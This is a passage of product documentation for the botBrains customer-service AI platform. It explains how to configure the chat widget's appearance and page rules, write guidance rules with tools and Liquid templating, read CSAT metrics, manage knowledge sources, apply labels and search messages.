users * **[Monitor Conversations](/concepts/conversations)** - Track escalation patterns * **[Review Metrics](/concepts/metrics)** - Measure escalation rates and impact * **[Improve Answers](/guides/improve-answers)** - Reduce unnecessary escalations Effective escalations create a safety net that builds user trust. When users know they can always reach a human, they're more willing to try the AI first. # Website Appearance Source: https://docs.botbrains.io/concepts/frames Design and configure your website's AI chat interface Frames are the visual chat interface that your website visitors interact with. Think of them as the "face" of your AI - they control how the chat widget looks, behaves, and presents itself across different pages and devices. A well-designed frame creates an engaging, on-brand experience that encourages visitors to get the help they need. ## Why Frames Matter Your chat widget is often the first point of contact between your AI and your customers. The right frame design: * **Increases engagement** - Visitors are more likely to use a chat that looks trustworthy and professional * **Reinforces brand identity** - Match your website's colors, tone, and style seamlessly * **Adapts to context** - Show different messages and suggestions based on which page visitors are viewing * **Removes friction** - Guide users with clear welcome messages and suggested questions * **Works everywhere** - Delivers consistent experience across desktop, tablet, and mobile devices A thoughtfully designed frame can increase chat adoption by 3-5x compared to default designs. Users trust and engage with interfaces that feel native to your brand. ## Frame Architecture Each frame has five configuration sections: | Section | What you configure | | ------------ | -------------------------------------------------------------------------------------------------------------- | | **General** | Assistant name and images, security (allowed origins, whitelisted IPs), features (image upload, preview popup) | | **Theme** | Light and dark mode colors | | **Messages** | Start message and suggested questions per language | | **Launcher** | Button position, spacing, and color | | **Rules** | URL pattern matching, platform targeting (mobile/desktop), custom messages per page | ## Accessing Frame Settings Navigate to **Frames** in your project to: 1. **View existing frames** - See all configured chat widgets for your project 2. **Create new frames** - Add additional widgets for different websites or environments 3. **Edit frame settings** - Customize appearance, messages, and behavior 4. **Get embed code** - Copy the code snippet to add the widget to your website Most projects start with one default frame. You can create additional frames for: * Different brands or sub-sites * Testing environments (staging vs production) * Regional variations with different languages Frame editor interface showing tabs for General, Theme, Messages, Launcher, and Rules with live preview panel on the right ## General Settings ### Assistant Identity Configure how your AI agent presents itself to visitors. | Setting | Purpose | Format/Requirements | | ------------------- | --------------------------------- | --------------------------------------------------- | | **Assistant Name** | Displayed in conversation headers | Any text (for example, "Support Bot," "Emma") | | **Assistant Image** | Avatar next to AI messages | PNG/JPEG/SVG/WebP, 64x64px+, autocompressed to 30KB | | **Header Image** | Optional banner at top of chat | PNG/JPEG/SVG/WebP, 400x80px recommended | Use your company logo as the assistant image for instant brand recognition. To rename your AI agent, edit the **Assistant Name** here. Update the name everywhere else it appears so the two stay consistent: in your [Start Message](#start-message) under **Messages**, and in any [Guidance](/concepts/guidance) instructions that reference it. ### Feature Configuration **Preview Suggestions**: Display a popup with suggested questions after 5 seconds. Useful for proactively showing visitors what the AI can help with. Can be overridden per page using Rules. **Allow Image Upload**: Enable visitors to upload screenshots, product photos, or documents in conversations. The system scans and validates images before processing. ### Security Configuration **Allowed Origins**: URLs permitted to embed this widget (CORS security). Format: `https://example.com` or wildcards `https://*.example.com`. Required for all domains where you'll embed the widget. The widget will not load on domains not listed in Allowed Origins. Always add your production and staging domains before deployment. **Whitelisted IPs**: IP addresses granted higher request limits (for example, office IPs for testing). Only whitelist IPs you fully control. ### Legal Links **Terms of Service URL** and **Privacy Policy URL** appear as footer links in the chat widget. Always provide these for production deployments to build trust and meet compliance requirements. ## Theme Settings Control the visual appearance to match your brand identity. The widget automatically detects user's system preferences and applies the appropriate theme. ### Light and Dark Modes Configure separate color schemes for light and dark modes. Start by configuring light mode, then add dark mode by duplicating and adjusting colors for dark backgrounds. ### Color Configuration Each theme has five customizable colors: * **Brand Color**: Primary accent used for buttons, links, and highlights * **Header Background**: Background for the top section of the chat window * **Chat Background**: Background for the main conversation area * **Chat Text**: Primary text color for messages and content * **Secondary Text**: Color for timestamps and less prominent text Ensure text colors have at least 4.5:1 contrast ratio with backgrounds (WCAG AA standard). The live preview panel updates in real-time as you adjust colors. ## Messages and Localization Configure what users see when they first open the chat and guide them with suggestions. ### Multi-Language Support Frames support multiple languages simultaneously, making your AI agent accessible to global audiences. The widget automatically detects the user's browser language and displays the appropriate messages, falling back to your primary language if their language isn't configured. **How Language Detection Works:** When a visitor opens the chat widget: 1. The widget reads the browser's language preference (for example, `en-US`, `de-DE`, `fr-FR`) 2. It matches this against your configured languages 3. If it finds a match, it displays that language's start message and suggestions 4. If no match exists, it uses your first configured language (typically English) 5. The selected language persists throughout the conversation session This automatic detection ensures visitors always see content in their preferred language without any manual language switcher. **Adding Languages:** **Method 1: AI Translation (Recommended)** The fastest way to add multiple languages: 1. Configure your primary language completely (start message and suggestions) 2. Click the language selector dropdown 3. Select **Translate with AI** 4. Review AI-generated translations for 17 major languages 5. Adjust translations to match your brand voice and cultural context 6. Save changes AI translation produces high-quality results but always requires review. Pay attention to: * Formal vs. informal tone (varies by culture) * Idiomatic expressions that may not translate directly * Brand terminology and product names * Cultural appropriateness of suggestions **Method 2: Manual Addition** For precise control or languages not covered by AI translation: 1. Click the language selector dropdown 2. Select **Add Language** 3. Choose from 100+ supported languages 4. Write start message and suggestions from scratch 5. Save changes Use this method when you have native speakers who can create culturally appropriate content or when AI translations need significant customization. **Translation Best Practices:** 1. **Start with your primary language**: Perfect your English (or main language) content before translating. This ensures consistent quality across all languages. 2. **Review all AI translations**: AI is remarkably accurate but may miss nuances. Have native speakers review translations before deploying. 3. **Adapt, don't just translate**: Good localization considers cultural context. A suggestion like "What's included in the Pro plan?" might work in English but need restructuring in other languages. 4. **Test with native speakers**: Before going live, have team members or customers test the widget in their native language. 5. **Update all languages together**: When you change suggestions based on user data, update all language versions to maintain consistency. 6. **Consider regional variations**: Spanish in Spain differs from Spanish in Mexico. Use the most appropriate variant for your primary audience. **Supported Languages:** The widget supports 100+ languages including: * Major European languages (English, German, French, Spanish, Italian, Portuguese, Dutch, Polish, etc.) * Asian languages (Chinese, Japanese, Korean, Hindi, Thai, Vietnamese, etc.) * Middle Eastern languages (Arabic, Hebrew, Turkish, etc.) * Other global languages (Russian, Indonesian, Malay, Filipino, etc.) AI translation covers the 17 most common languages. You can add all others manually. ### Start Message The first message visitors see when opening the chat. Welcome users, set expectations for what the AI agent can help with, and encourage engagement. **Creating effective start messages:** 1. Keep it concise (2-3 sentences maximum) 2. Mention 2-4 specific capabilities 3. Use friendly, conversational tone 4. End with a question to prompt response **Examples:** ``` Hi there! I'm here to help you find answers about [your product/service]. What can I help you with today? ``` ``` Welcome! I can help with product information, account questions, technical support, and order status. What would you like to know? ``` Start messages that are too long get skipped. Users want to ask their question quickly - guide them but don't overwhelm. ### Suggested Questions Pre-written questions users can click to start conversations instantly. Suggestions reduce friction and showcase capabilities, increasing engagement by up to 60%. **Best Practices for Suggestions:** 1. **Use actual customer questions** - Review your support data to find common queries 2. **Keep them short** - Under 50 characters per suggestion 3. **Write 3-5 suggestions** - Enough variety without overwhelming 4. **Cover different topics** - Balance between billing, features, technical, and general questions 5. **Update quarterly** - Refresh based on what users actually ask **Good vs Poor Examples:** | Good | Why | Poor | Why | | ---------------------------------- | -------------------------------- | -------------------------------------------------------- | -------------- | | "How do I reset my password?" | Clear, specific, common question | "Help" | Too vague | | "What's included in the Pro plan?" | Specific product question | "I have a question about enterprise tier billing cycles" | Too long | | "When will my order ship?" | Direct, actionable | "Click here for more info" | Not a question | You can generate suggestions using AI (based on your knowledge base) or write them manually. Always review AI-generated suggestions to match your brand voice. ### Preview All Languages Before deploying, preview how all your configured languages look: 1. Save your frame changes 2. Click **View Preview** in the Messages section 3. See all languages side-by-side 4. Verify translations, formatting, and suggestions 5. Test start messages in context Language dropdown showing multiple configured languages with AI translation option, and preview panel displaying start message and suggestions in different languages ## Launcher Settings Control where and how the chat button appears on your website. ### Button Position **Alignment**: Left or right side of the screen. Right is standard and familiar to users. Use left when right side has conflicting elements. **Side Margin**: Distance from screen edge. Default: `20px`. Common values: `16px` to `32px`. **Bottom Margin**: Distance from screen bottom. Default: `20px`. Increase to `80px+` if you have cookie banners or bottom navigation. Margin values accept any CSS unit (`px`, `rem`, `em`). We recommend `px` for consistency. ### Button Color Customize the launcher button background color. Default matches your brand color from theme settings. Use a color that stands out but harmonizes with your site. Ensure visibility on different pages - a color that works on your homepage might not be visible on darker pages. ## Rules - Conditional Appearance Show different messages and behaviors based on where users are on your website. Contextual start messages can increase engagement by 2-3x compared to generic messages. **Use cases:** * **Product pages**: "What are the features?" or "Is this compatible with my setup?" * **Pricing pages**: "Which plan is right for me?" or "Can I upgrade later?" * **Checkout pages**: Disable preview popup to avoid disrupting purchase flow * **Support section**: Technical questions and billing help * **Blog posts**: Different suggestions for readers vs. customers ### Rule Components Each rule has three parts: 1. **URL Pattern** - Which pages this rule applies to 2. **Platform** - Desktop, mobile, or both 3. **Overrides** - What to change (messages, preview popup setting) ### URL Pattern Matching Use patterns to match specific pages or sections of your site. **Wildcard types:** * **`*`** - Matches any characters **except** slashes (`/`) * **`**`** - Matches any characters **including** slashes (`/`) **Common patterns:** | Pattern | Matches | Use Case | | ------------------------------ | -------------------------- | ---------------------------------- | | `example.com/pricing` | Only pricing page | Specific page customization | | `example.com/blog/*` | All blog posts (one level) | Blog category pages | | `example.com/docs/**` | All documentation pages | Entire section | | `example.com/products/*/specs` | Product specs pages | Specific page type across products | | `**checkout**` | Any page with "checkout" | Match across domains | **Testing patterns:** 1. Create or edit a rule 2. Click **Test** next to the URL pattern field 3. Enter a pattern and test URL 4. See normalized versions and match result 5. Adjust pattern until it matches correctly **Normalization**: Trailing slashes, query parameters (`?id=123`), and URL fragments (`#section`) are ignored during matching. This ensures consistent behavior. **Pattern examples for common scenarios:** ``` # Homepage only example.com # All product pages example.com/products/** # Pricing and checkout example.com/{pricing,checkout} # Blog posts but not blog homepage example.com/blog/*/** # Entire shop section example.com/shop** # All pages (catch-all) ** ``` ### Platform Targeting Control which devices see each rule: * **All** - Desktop and mobile (default, recommended for most rules) * **Desktop** - Only users on larger screens * **Mobile** - Only users on phones and tablets **When to use platform-specific rules:** * **Mobile-only**: Shorter messages, simpler suggestions (smaller screens) * **Desktop-only**: More detailed suggestions, longer explanations * **Both**: Most rules should apply to all platforms unless you have specific UX reasons Start with "All" platforms. Only create platform-specific rules if you have data showing different user behavior or needs between desktop and mobile. ### Rule Types **Messages Rule**: Override the start message and suggestions for specific pages. Examples: "Comparing plans? I can help you choose!" (pricing page) or "Interested in \[product]? I can answer questions!" (product page). **Preview Rule**: Enable or disable the suggestion popup for specific pages. Disable on checkout flows, forms, or video pages to avoid disruption. Enable on landing pages or complex product pages to proactively engage visitors. ### Creating Rules 1. Navigate to **Frames** → Select your frame → **Rules** tab 2. Click **Add Rule** 3. Choose rule type: * **Messages Rule** - Custom start message and suggestions * **Preview Rule** - Control popup behavior 4. Configure the rule: * **URL Pattern**: Enter pattern (for example, `example.com/pricing`) * **Platform**: Choose All, Desktop, or Mobile * **Overrides**: Set custom messages or toggle preview popup 5. Test your pattern using the Test button 6. Save changes Rules tab showing a list of configured rules with URL patterns, platform targeting (All/Desktop/Mobile), and a rule editor form with pattern tester showing match results ### Rule Priority When multiple rules match a page, the **most specific** rule wins: 1. Exact URL matches take priority 2. More specific wildcards beat less specific 3. Later rules in the list override earlier ones **Example priority:** ``` Rule 1: example.com/** (Least specific - applies everywhere) Rule 2: example.com/pricing (More specific - pricing page only) Rule 3: example.com/pricing?plan=pro (Most specific - with query param) ``` On `example.com/pricing?plan=pro`, Rule 3 takes priority because the system normalizes query parameters and Rule 3 is most specific to the pricing page. Rules are evaluated in order. If you have overlapping patterns, the last matching rule's settings will be used. Test thoroughly to avoid unexpected behavior. ### Rule Management **Editing rules:** * Click the rule to expand it * Modify pattern, platform, or overrides * Changes take effect after saving the frame **Deleting rules:** * Expand the rule * Scroll to the bottom * Click **Delete Rule** * Confirm deletion **Testing rules:** * Use the URL pattern tester * Visit your website and check which messages appear * Use browser DevTools console to see which rule matched ## Live Preview The preview panel on the right side shows real-time changes as you edit: **Features:** * Updates instantly as you modify settings * Displays current theme (light/dark toggle) * Shows actual messages in selected language * Previews launcher button position and color * Interactive - test the chat flow **Using the preview:** 1. Make changes in any settings tab 2. Watch preview update automatically 3. Click the launcher button in preview 4. Test start messages and suggestions 5. Verify colors, fonts, and spacing Keep the preview visible while editing. It's the fastest way to catch design issues before deploying to your website. ## Best Practices ### Design 1. **Start simple**: Begin with default settings and customize gradually 2. **Brand consistency**: Match your website's color palette and design language 3. **Readability first**: Test contrast rigorously - ensure text is readable at all sizes ### Content 1. **Clarity over cleverness**: Start message + suggestions should immediately clarify what the AI agent can do 2. **Update suggestions quarterly**: Review conversation data and update suggestions to match actual user questions 3. **Context matters**: Use rules for different messages on product, pricing, and support pages ## Programmatic Control The [Web SDK](/concepts/web-sdk) allows programmatic control of the widget via JavaScript. You can open/close the chat, send messages programmatically, and listen for events. This enables use cases like opening chat from custom buttons, pre-filling messages from links, tracking engagement in analytics, and A/B testing different frame configurations. For complete Web SDK documentation and embed details, see [Website Integration](/concepts/website-integration). ## Next Steps Now that you understand frames: Install the widget on your website with platform-specific instructions Connect frames to AI versions and manage releases Your chat widget is the primary way customers interact with your AI. Invest time in designing a frame that represents your brand well and guides users to the right answers - the engagement improvements will be measurable and significant. # Guidance Source: https://docs.botbrains.io/concepts/guidance Control AI behavior with profiles and guidance settings Guidance is the heart of your agent's behavior. It defines how your AI agent responds to customers, what actions it can take, and when to apply specific instructions. With guidance, you ensure consistent, high-quality customer service that aligns with your brand and business policies. Each guidance rule consists of: * **Instructions**: what your agent should do and how to communicate * **Enabled tools**: which actions and integrations it can use * **Audience**: who this guidance applies to (optional targeting) ## Core components **Name.** Descriptive identifier for organization, such as Premium Customer Service or Refund Policy. **Instructions.** Natural language description of what your agent should do, how to communicate, and what rules to follow. **Active status.** Toggle guidance on and off without deleting it. Only active guidance affects conversations. **Allowed tools.** Which capabilities the agent can use with this guidance, for example `search_products` or `offer_handoff`. **Audience.** Optional targeting rules that apply guidance only to specific user segments, channels, or contexts. Guidance editor showing name, instructions, active status toggle, allowed tools field, and audience targeting options ## How guidance works **Multiple guidance rules.** botBrains combines all active guidance that matches the current audience and gives it to your agent as a single prompt. The order matters for readability and logical grouping, but your agent uses all matching guidance together. **Automatic tool detection.** Reference tools in instructions using inline code (for example `@search_knowledge`), and botBrains automatically enables them. **Liquid templating.** Personalize instructions using variables like `{{user.first_name}}` or `{{conversation.channel_type}}`, with `{% if %}` blocks for dynamic behavior. **Live vs. draft.** Set guidance to draft while preparing new rules, then activate when ready to affect live conversations. **Audience targeting.** Apply different guidance based on customer attributes (plan tier, location), channel (website, Zendesk, Slack), or conversation context. Audience targeting panel showing attribute conditions with dropdown selectors for customer plan tier, channel type, and conditional logic ## Best practices ### Write specific instructions Write guidance as if you were training a new team member. Be specific about what to do, when to use tools, and how to communicate. ``` Good: "When a customer requests a refund, look up their order using `search_orders`. If within 30 days, process using `create_refund` and confirm. If outside 30 days, explain the policy and offer store credit." Avoid: "Help customers with refunds." ``` Set explicit boundaries for topics outside your agent's scope: ``` "If users ask for legal, medical, or financial advice, explain you can't help with that and offer to connect them with the right team using `offer_handoff`." ``` ### Structure long guidance with XML tags When a rule exceeds 10–15 lines or covers multiple distinct areas, group sections with XML tags. For short, focused guidance, skip them. ``` Always respond in the customer's language. If they write in German, respond in German. Be professional yet friendly. Use clear, concise language. Avoid jargon unless the customer demonstrates technical expertise. Escalate to human support if: - Customer explicitly requests a human agent - Issue involves account security or billing disputes - You cannot resolve after 3 attempts ``` ### Enable tools by mentioning them Configured tools ([actions](/concepts/actions), [search tables](/concepts/tables), [Unitools](/concepts/unitools)) aren't available to the agent by default. Enable a tool by mentioning it with `@` in your instructions, which also follows the best practice of explaining *when* to use it: ``` When a customer asks about product availability or pricing, look up the answer using @search_products before responding. ``` You can also enable tools manually in the **Allowed Tools** section of a rule. Only enable the tools a rule needs. Extra tools add decision overhead and can lead to unnecessary tool calls. ### Personalize with Liquid Instructions support [Liquid templating](https://shopify.github.io/liquid/) for dynamic, personalized behavior. | Variable | Description | Example | | ----------------------------------- | -------------------- | ----------------------------------------------- | | `{{user.first_name}}` | User's first name | "Sarah" | | `{{user.email}}` | User's email address | "[sarah@example.com](mailto:sarah@example.com)" | | `{{user.external_attributes.plan}}` | Custom attribute | "enterprise" | | `{{conversation.channel_type}}` | Current channel | Zendesk, Slack, or web | ``` Always greet the user by name: "Hello {{user.first_name}}, how can I help you today?" {% if user.external_attributes.plan == "enterprise" %} You are speaking with an enterprise customer. Prioritize their requests and offer to schedule a call with their account manager if needed. {% endif %} ``` Store custom user data (subscription tier, company size, feature flags) in external attributes and access them via `{{user.external_attributes.your_field}}`. ### Scope with audiences instead of conditionals Use [audience](/concepts/audiences) filters rather than cramming conditional logic into one rule. Separate rules per segment keep instructions focused and ensure the agent only has access to the tools each segment needs. ``` (User.plan = "enterprise" OR User.plan = "business") AND User.location starts with "US" ``` Audience filter builder showing user attribute conditions for enterprise customers ### Order rules The agent receives all matching rules as one combined prompt in list order. Audience filters are the primary scoping mechanism and order is secondary, but place the most important instructions first for clarity. Drag rules to reorder them. Guidance rules list showing drag handles and reorderable items for channel-specific rules ## Examples **Name:** Welcome Message **Instructions:** "When a customer starts a conversation, greet them warmly and ask how you can help. Keep it brief and friendly." **Allowed Tools:** None **Name:** Process Refund Requests **Instructions:** ``` When a customer requests a refund: 1. Look up their order using `search_orders` 2. Check if within our 30-day refund window 3. For eligible refunds: use `create_refund` and provide confirmation 4. For ineligible: explain policy and offer alternatives Always be empathetic and professional. ``` **Allowed Tools:** `search_orders`, `create_refund` **Audience:** Customers with completed orders **Name:** VIP Customer Service **Instructions:** "Provide exceptional service to VIP customers. Address by name, offer proactive solutions, and escalate immediately if you cannot fully resolve their issue." **Allowed Tools:** `search_knowledge`, `search_orders`, `assign_to_vip_team` **Audience:** `user.customer_tier = "VIP"` ## Common patterns Most agents combine several scoped rules. These patterns show how audience filters and tools work together across segments and channels. ``` Guidance 1: Enterprise Support Instructions: "Provide detailed answers. Proactively offer resources. Use `search_advanced_docs` for technical details. Offer to schedule a call with the success team." Audience: User.plan = "enterprise" Tools: search_advanced_docs, search_web, offer_handoff Guidance 2: Standard Support Instructions: "Help users solve common issues. Point to documentation. Escalate complex issues to the support team." Audience: Everyone Tools: search_docs, offer_handoff ``` ``` Guidance 1: Sales Assistant Instructions: "Focus on product benefits and use cases. Highlight features relevant to the user's industry. Offer demos and trials." Audience: User.is_customer = false Tools: search_products, search_case_studies, search_web Guidance 2: Customer Support Instructions: "Help customers use the product. Answer how-to questions and troubleshoot issues. Search documentation first." Audience: User.is_customer = true Tools: search_docs, search_products, offer_handoff ``` ``` Guidance 1: Zendesk Agent Assist Instructions: "You're assisting support agents, not end customers. Provide concise, factual information agents can relay. Include ticket number references and knowledge base links." Audience: Channel = "zendesk", Mode = "private" Tools: search_docs, search_tickets Guidance 2: Website Chat Instructions: "Engage directly with website visitors. Be welcoming. Qualify leads by understanding needs before recommending solutions." Audience: Channel = "web" Tools: search_products, search_web, offer_handoff ``` ## Next Steps * [Instruct AI Agent](/guides/instruct-ai-agent) to decide which lever to pull when improving your agent * [Procedures](/concepts/procedures) for multi-step workflows that need enforced sequencing * [Actions](/concepts/actions) to learn about the tools you can enable in guidance * [Audiences](/concepts/audiences) to create customer segments for targeted guidance * [Testing](/guides/testing) to validate guidance changes before deploying # Insights Source: https://docs.botbrains.io/concepts/insights Analytics and performance metrics for your AI botBrains Insights gives you analytics to measure AI performance, track customer satisfaction, and identify improvement areas. The [metrics dashboard](https://platform.botbrains.io/~/metrics) has two views- **General** (chat channels) and **Ticketing** (Zendesk, Salesforce-, with different primary metrics for each. See [Choosing the Right Metrics](/concepts/metrics#choosing-the-right-metrics) for guidance on which view to use. Metrics dashboard showing General view with conversation graphs, CSAT scores, and resolution rate charts Browse, filter, and analyze individual conversations Search across all message content AI-powered topic detection and analysis Dashboard overview and cross-channel comparison Resolution rates and CSAT for Web, Slack, and WhatsApp Involvement rates and autonomous resolution for Zendesk and Salesforce ## CSAT Details Customer Satisfaction (CSAT) measures how users rate their AI interactions on a 1–5 scale. | Metric | Formula | What it tells you | | ------------- | ------------------------------------------ | --------------------------------------------------- | | CSAT Score | (Good + Amazing) / All rated conversations | Share of satisfied customers | | DSAT Score | (Terrible + Bad) / All rated conversations | Share of dissatisfied customers | | Response Rate | Rated conversations / Surveys offered | How often users complete the survey | | Sample Size | Surveys offered / Total conversations | What share of conversations you collect feedback on | A low Response Rate limits the reliability of your CSAT score. If few users complete the survey, the score may not represent overall satisfaction. ## Exporting Charts Hover over any chart to reveal the export menu. You can download a chart as **PNG**, export the underlying data as **CSV**, or **copy the data** to your clipboard for use in spreadsheets or external tools. Chart hover menu showing export options: Download CSV, Download SVG, and Download PNG ## Next Steps * [Metrics](/concepts/metrics) - Understand which metrics matter for chat vs. ticketing * [Chat Performance](/concepts/chat-performance) - Deep dive into chat channel analytics * [Ticketing Performance](/concepts/ticketing-performance) - Deep dive into ticketing analytics * [Improve Answers](/guides/improve-answers) - Turn metric insights into concrete improvements # Channels Source: https://docs.botbrains.io/concepts/integrations Connect your AI to customer touchpoints across platforms Channels are how your customers interact with your AI. All channels connect to the same [Production Alias](/concepts/versioning#aliases), so updating your AI once applies everywhere. Chat widget for your website with launcher, inline, and iframe modes. Automate ticket responses, predict fields, and assist agents in private mode. AI-powered case handling in Salesforce Service Cloud with private and read-only modes. AI support in your team's Slack workspace via DMs and channel mentions. (Beta) **Coming soon:** WhatsApp Business and native mobile SDKs. Contact [support@botbrains.io](mailto:support@botbrains.io) to express interest. # Knowledge Source: https://docs.botbrains.io/concepts/knowledge How botBrains uses knowledge to answer questions Knowledge is the foundation of your AI's ability to provide accurate, helpful responses. It transforms your documentation, support articles, and internal information into a searchable system that powers intelligent conversations with your customers. ## Why Knowledge Matters Without knowledge, your AI can only provide generic responses based on its training data. With a well-structured knowledge system, your AI can: * **Answer specific questions** about your products, services, and policies * **Provide accurate information** grounded in your actual documentation * **Stay up-to-date** as you add or modify content * **Cite sources** so users can verify information * **Reduce hallucinations** by retrieving facts instead of generating guesses Knowledge is what makes you AI agent truly yours - it's the difference between a generic chatbot and an expert on your business. ## How Knowledge Retrieval Works When a user asks a question, botBrains follows a multi-step process to find and use relevant information: ### 1. Question Analysis The system analyzes the user's question to understand what information it needs. This includes: * Extracting key concepts and entities * Understanding the user's intent * Considering conversation context and history ### 2. Source Retrieval botBrains searches through your knowledge sources using advanced retrieval techniques: * **Vector similarity search**: Finds semantically similar content, even when exact words don't match * **Chunk-level retrieval**: Breaks documents into manageable pieces to find precise information * **Audience filtering**: Only searches sources relevant to the user's audience (if configured) The system retrieves multiple candidate sources that might contain relevant information. ### 3. Response Generation The AI synthesizes information from retrieved sources to: * Answer the user's question directly * Combine information from multiple sources when needed * Maintain your brand voice and style (defined in [Guidance](/concepts/guidance)) * Include source attributions so users can verify the information ### 4. Source Attribution After generating a response, the system tracks which sources it used, allowing you to: * See exactly what knowledge informed each answer * Identify gaps where information is missing or unclear * Improve your knowledge base based on real usage patterns ## Knowledge Architecture Your knowledge system consists of several components working together: ### Data Providers Data providers are the sources of your knowledge. Each provider represents a distinct collection of information: * **Web Crawler**: Automatically syncs content from websites * **Confluence**: Connects to Confluence spaces * **Human (Snippets)**: Manually created and curated content Learn more in [Data Providers](/concepts/data-providers). Knowledge page showing Websites, Collections, and Search Tables sections with connected data sources ### Sources Sources are the individual documents, pages, or pieces of content within a data provider: * Web pages crawled from your site * Confluence pages * Uploaded PDFs or documents * [Snippets](/concepts/snippets) you create manually Each source is: * **Chunked** into smaller segments for precise retrieval * **Embedded** as vectors for semantic search * **Indexed** for fast retrieval during conversations * **Versioned** through snapshots to track changes ### Snapshots Snapshots capture the state of a data provider at a specific point in time: * The system creates them automatically when content syncs or updates * Include all sources and their processed chunks * Allow you to see how your knowledge has evolved * You can deploy them to make content available to your AI Snapshots ensure your AI always works with a consistent, tested version of your knowledge while you continue to make updates. ### Chunks and Embeddings Behind the scenes, botBrains processes your sources into retrievable units: 1. **Chunking**: The system splits long documents into smaller segments (chunks) of related content 2. **Embedding**: The system converts each chunk into a vector representation that captures its semantic meaning 3. **Indexing**: The system stores vectors in a database optimized for fast similarity search This processing happens automatically when you sync a data provider. ## Knowledge in Action ### Example: Customer Question Let's see how knowledge powers a real interaction: **User Question**: "What's your refund policy for annual subscriptions?" **What Happens**: 1. The system searches your knowledge base for content about refunds and subscriptions 2. It finds relevant chunks from your "Terms of Service" page and "Billing FAQ" snippet 3. The AI synthesizes this information into a clear answer 4. Source attributions show exactly which documents the AI used **Response**: "Our refund policy for annual subscriptions allows for a full refund within 30 days of purchase. After 30 days, we prorate refunds based on usage. \[View full policy →]" ### Viewing Sources Used In the botBrains platform, you can see exactly which knowledge sources the AI used for any message: 1. Open a conversation in the [Analyze](/concepts/conversations) section 2. Click on an AI message 3. Open the Knowledge sidebar to see: * **Used Sources**: Documents that the AI cited in its response * **Available Sources**: Other relevant content that the system retrieved but the AI didn't use * **Snippets**: Specific text excerpts that informed the answer This transparency helps you understand and improve your AI's knowledge. Knowledge sidebar in a conversation showing Used Sources, Available Sources, and Snippets sections with relevant documents and text excerpts ## Best Practices ### Use Snippets for Precision Create [snippets](/concepts/snippets) for: * Semi-Public Information that shouldn't be directly published. * Policy statements that must be exact * Information that needs to override crawled content (we strongly suggest fixing the source if possible) * Temporary updates before you update your main docs Snippets give you fine-grained control over what your AI knows. ### Keep Content Updated Set up automatic syncing for web crawlers so your AI stays current: * Schedule daily or weekly syncs for documentation sites * Manually trigger syncs after major content updates or timely updates * Review the Knowledge sidebar to identify outdated information ### Monitor Knowledge Usage Use the Knowledge sidebar that opens on "Improve Answer" in conversations to: * Identify which sources are most valuable * Find questions where relevant knowledge is missing * Discover content that needs clarification or expansion Changes to sources don't take effect immediately. You must sync the data provider to create a new snapshot, then deploy that snapshot for it to be available in conversations. ## Next Steps Now that you understand how knowledge works, explore how to: * [Set up Data Providers](/concepts/data-providers) to connect your knowledge sources * [Create Snippets](/concepts/snippets) for precise, curated information * [Improve Answers](/guides/improve-answers) by analyzing which knowledge the AI uses and gets wrong * [Configure Audiences](/concepts/audiences) to show relevant knowledge to different users # Labels Source: https://docs.botbrains.io/concepts/labels Organize conversations, messages, and users with custom labels for quality assurance and workflow management Labels let you add your own business logic on top of your botBrains data. While [Topics](/concepts/topics) automatically cluster conversations by content, labels are tags you apply manually or via [Triggers](/concepts/triggers) - for review workflows, customer segments, quality tracking, or anything else your team needs. Labels are project-specific. Each label has a **name**, an **entity type** (conversation, message, or user), and a **usage count**. ## Applying Labels You create labels on the fly - just start typing a name in the label picker and it joins your project. No separate creation step needed. **On conversations** - open a conversation and use the label section in the right sidebar, or select one or more conversations from the [conversation list](https://platform.botbrains.io/~/conversations) and click the label icon in the bulk-action toolbar. Label section in conversation right sidebar showing a text input field and applied labels with removal buttons **On messages** - hover over a message in the conversation detail view and click the tag icon. **On users** - open a user profile and apply labels like "VIP", "Beta Tester", or "Enterprise". User labels appear across all their conversations. Label names are case-insensitive for matching but preserve the original capitalization. "VIP Customer" and "vip customer" are the same label. ## Filtering by Labels Use the label filter on the [conversations page](https://platform.botbrains.io/~/conversations) or in [Metrics](/concepts/metrics) to narrow your view. Each label cycles through three states: | State | Icon | Effect | | ---------- | ---------- | ---------------------------------- | | Unselected | Gray | No filtering on this label | | Has | Green plus | Only show entities with this label | | Not | Red minus | Hide entities with this label | Label filter toggle showing the three states: gray unselected, green plus for inclusion, red minus for exclusion You can combine include and exclude filters. For example, include "Needs Review" and exclude "Assigned: Alice" to see unassigned review items. ## Managing Labels Open the [labels page](https://platform.botbrains.io/~/labels) to see all labels in your project, sorted by usage count. From there you can: * **Click a usage count** to navigate to a filtered view of all entities with that label * **Delete a label** with the trash icon - this removes the label from all entities and cannot be undone Labels management page showing a table of labels sorted by usage count with delete buttons and clickable usage numbers Use consistent naming conventions with prefixes for grouping: "Review: Alice", "Priority: High", "Bug: Confirmed". This keeps labels sortable and scannable as your system grows. ## Next Steps * [Conversations](/concepts/conversations) - Filter and review labeled conversations * [Topics](/concepts/topics) - Combine automatic topic detection with manual labels * [Triggers](/concepts/triggers) - Assign or remove labels automatically based on rules * [Metrics](/concepts/metrics) - Filter dashboards by labels to measure segment performance * [Data Export](/concepts/data-export) - Export conversations with label data # Message Search Source: https://docs.botbrains.io/concepts/message-search Find and analyze specific messages across all conversations Message Search lets you search the content of individual messages across all conversations. Use it to discover knowledge gaps, validate AI responses, and identify patterns in how users phrase their questions. Open the [message search](https://platform.botbrains.io/~/messages/search) to get started. ## Search Syntax The search bar supports full-text search with operators. Message search interface showing the search bar with filters applied as removable chips below | Syntax | Example | Effect | | ----------------------------- | ------------------------- | ----------------------------------------- | | Single word | `refund` | Messages containing "refund" | | Multiple words (implicit AND) | `refund policy` | Messages containing both words | | OR | `refund or cancellation` | Messages containing either word | | NOT (minus) | `refund -approved` | Messages with "refund" but not "approved" | | Exact phrase (quotes) | `"annual subscription"` | Messages with the exact phrase | | Combined | `"password reset" -email` | Exact phrase excluding a term | ## Filters Beyond text search, narrow results with these filters: | Filter | Options | Use case | | ------------- | --------------------------------------------- | ------------------------------------------------------- | | Date range | Last 7/30/90 days, custom | Focus on a specific time window | | Channel | Website, Zendesk, Salesforce, Slack, WhatsApp | Compare AI performance across channels | | Rating | 1–5 stars, abandoned, unoffered | Find messages from poorly or highly rated conversations | | Completeness | Complete, partial, no answer | Identify knowledge gaps (filter to "no answer") | | Sentiment | Positive, neutral, negative | Find frustration points or successful patterns | | Language | English, German, Spanish, etc. | Analyze multilingual performance | | File types | Image, PDF, document, video, audio | Find messages with attachments | | Visited pages | URL or path | See what users ask on specific pages (web channel) | | Handoff | Offered, accepted, requested, none | Understand escalation patterns | | Labels | Has / doesn't have specific labels | Segment by your custom categories | All 